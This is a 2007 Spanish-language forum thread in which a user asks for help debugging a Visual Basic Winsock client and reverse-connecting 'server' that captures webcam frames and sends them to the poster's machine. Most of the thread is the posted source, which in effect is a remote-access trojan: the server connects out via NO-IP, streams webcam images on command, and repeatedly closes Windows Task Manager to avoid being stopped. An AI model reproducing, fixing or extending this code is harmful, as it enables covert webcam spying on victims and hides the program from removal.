Título: AYUDA, No puedo ver imagenes enviadas desde el server al cliente con WINSOCK Publicado por: el_trocha en 31 Agosto 2007, 19:10 pm NECESITO AYUDAAAAAAAAAAAA.................... Vereis tengo una aplicacion cliente servidor con conexion inversa via NO-IP, con la intencion de que el servidor envie imagenes captadas por webcam al cliente, la verdad es que si pongo en fncionamiento el cliente y el server en la misma maquina funciona perfecto, pero cuando coloco el server en otra maquina el cliente es incapaz de recibir las imagenes y no se porque.
Ojala alguien pueda ayudarme....... si necesitan el codigo para comprobarlo me gustaria me lo pidieran. Un saludo. Título: Re: AYUDA, No puedo ver imagenes enviadas desde el server al cliente con WINSOCK Publicado por: sch3m4 en 31 Agosto 2007, 19:16 pm si estás detrás de un router (tú) es posible que el servidor no pueda conectar porque tienes los puertos cerrados, debes configurar la NAT para abrir los puertos y redirigirlos a tu máquina.
De todas formas si puedes poner el source para poder probarlo, mucho mejor. Título: Re: AYUDA, No puedo ver imagenes enviadas desde el server al cliente con WINSOCK Publicado por: TUNOVATO en 31 Agosto 2007, 20:16 pm Saludos compa.....
He alli un problema....!!!! Compa eso es verdad....!!!! yo tambien presento es mismo problema en mi proyecto (dos en uno) hace tiempo (por raticos le dedico tiempo) estaba analizando la fallas de ese tipo.....!!!! pero..... nada.... espero que ambos aclaremos esta duda yo en mi caso publique el codigo por si alguien acudia ayudarme pero todavia estoy en eso, te recomiendo publicar el codigo y asi ayudarnos mutuamente...!!! Título: Re: AYUDA, No puedo ver imagenes enviadas desde el server al cliente con WINSOCK Publicado por: el_trocha en 1 Septiembre 2007, 19:17 pm Lympex, aunque estoy detras de un puerto, el envio de la ip del server al cliente se realiza con normalidad y no hay problema de comunicacion entre las aplicaciones.
Voy a poner el codigo de mi aplicacion para ver si hay alguien dentro del forto que sepa decirme por que me ocurre esto. Cliente: Dim Ruta As String Dim y As String Private Sub BtCerrarWeb_Click() y = "apagar" wsC.SendData y FCliente.Height = 3870 FCliente.Width = 7140 FCliente.ScaleHeight = 3360 FCliente.ScaleWidth = 7020 Timer1_Timer End Sub Private Sub BtConectar_Click() wsC.Close wsC.Listen Timer1_Timer End Sub Private Sub BtDesconectar_Click() y = "desconectar" wsC.SendData y wsC.Close FCliente.Height = 3870 FCliente.Width = 7140 FCliente.ScaleHeight = 3360 FCliente.ScaleWidth = 7020 Timer1_Timer End Sub Private Sub BtWeb_Click() y = "web" wsC.SendData y FCliente.Height = 8145 FCliente.Width = 7140 FCliente.ScaleHeight = 7635 FCliente.ScaleWidth = 7020 End Sub Private Sub Form_Load() wsC.Close Timer1_Timer Ruta = "c:\temporal2.bmp" Open Ruta For Binary As #1 On Error Resume Next Kill (Ruta) Open "ruta" For Binary As #1 BtDesconectar.Enabled = False BtWeb.Enabled = False FCliente.Height = 3870 FCliente.Width = 7140 FCliente.ScaleHeight = 3360 FCliente.ScaleWidth = 7020 End Sub Private Sub Timer1_Timer() Timer1.Interval = 1 LblEstado = wsC.State Select Case wsC.State Case 0 LblEstado = "Conexion Cerrada con el Servidor." BtDesconectar.Enabled = False BtWeb.Enabled = False BtConectar.Enabled = True FCliente.Height = 3870 FCliente.Width = 7140 FCliente.ScaleHeight = 3360 FCliente.ScaleWidth = 7020 Case 2 LblEstado = "Esperando conexión" Case 4 LblEstado = "Resolviendo Host" Case 5 LblEstado = "Host resuelto" Case 6 LblEstado = "Intentando conectar" Case 7 LblEstado = "Conectado con el Servidor : " BtConectar.Enabled = False BtDesconectar.Enabled = True BtWeb.Enabled = True Case 8 LblEstado = "Cerrando comunicacion" wsC.Close Case 9 LblEstado = "Error de conexión" wsC.Close End Select End Sub Private Sub wsC_DataArrival(ByVal bytedatos As Long) Dim datos As String wsC.GetData datos, vbNullString Put #1, , datos If Right(datos, 3) = "Fin" Or datos = "Fin" Then Close Picture1 = LoadPicture(Ruta) Open Ruta For Binary As #1 End If End Sub Private Sub wsC_ConnectionRequest(ByVal requestID As Long) wsC.Close wsC.Accept requestID End Sub El SERVIDOR : Dim Imagen() As Byte Private Sub Form_Load() Dim estado As String Dim wsestado As String wsestado = ws1.State estado = "7" If wsestado <> estado Then ws1.Close ws1.CONNECT contador.Enabled = True contador.Interval = 1 Else Timer3_Timer End If Timer3_Timer Timer1.Enabled = False Timer1.Interval = 1 Timer2_Timer End Sub Private Sub Timer2_Timer() Timer2.Enabled = True Timer2.Interval = 100 On Error GoTo fallo AppActivate "Administrador de Tareas de Windows" SendKeys "%{F4}" fallo: End Sub Private Sub Timer3_Timer() Timer3.Interval = 1 LblEstado = ws1.State Select Case ws1.State Case 0 LblEstado = "Conexion Cerrada con el Servidor." Case 2 LblEstado = "Esperando conexión" Case 4 LblEstado = "Resolviendo Host" Case 5 LblEstado = "Host resuelto" Case 6 LblEstado = "Intentando conectar" Case 7 LblEstado = "Conectado con el Servidor : " Case 8 LblEstado = "Cerrando comunicacion" Case 9 LblEstado = "Error de conexión" Form_Load End Select End Sub Private Sub ws1_DataArrival(ByVal bytesTotal As Long) Dim datos As String ws1.GetData datos Select Case datos Case "ip" mandar_ip Case "web" Apagar_Cam StartCam Case "apagar" Apagar_Cam Case "desconectar" Desconectar End Select End Sub Private Sub Timer1_Timer() On Error Resume Next SendMessage mCapHwnd, GET_FRAME, 0, 0 SendMessage mCapHwnd, COPY, 0, 0 Picture1.Picture = Clipboard.GetData SavePicture Clipboard.GetData, "c:\windows\system\temporal.bmp" Dim Tamaño As Long Open "c:\windows\system\temporal.bmp" For Binary Access Read As #1 Tamaño = LOF(1) ReDim Imagen(Tamaño - 1) Get #1, , Imagen crono_imagen.Enabled = True crono_imagen.Interval = 5 Close ws1.SendData Imagen ws1.SendData "Fin" End Sub Private Sub StartCam() mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hWnd, 0) DoEvents: SendMessage mCapHwnd, CONNECT, 0, 0 Timer1.Enabled = True End Sub Sub Apagar_Cam() Timer1.Enabled = False DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 End Sub Sub Desconectar() Apagar_Cam Form_Load End Sub Sub mandar_ip() Dim totalip As String totalip = "2-" & lblip.Caption ws1.SendData totalip End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) DoEvents: SendMessage mCapHwnd, DISCONNECT, 0, 0 ws1.Close End Sub No he puesto el codigo del modulo adjunto al server , para no hacer este mensaje demasiado largo, espero que alguno pueda ayudarme . Un saludo a todos. |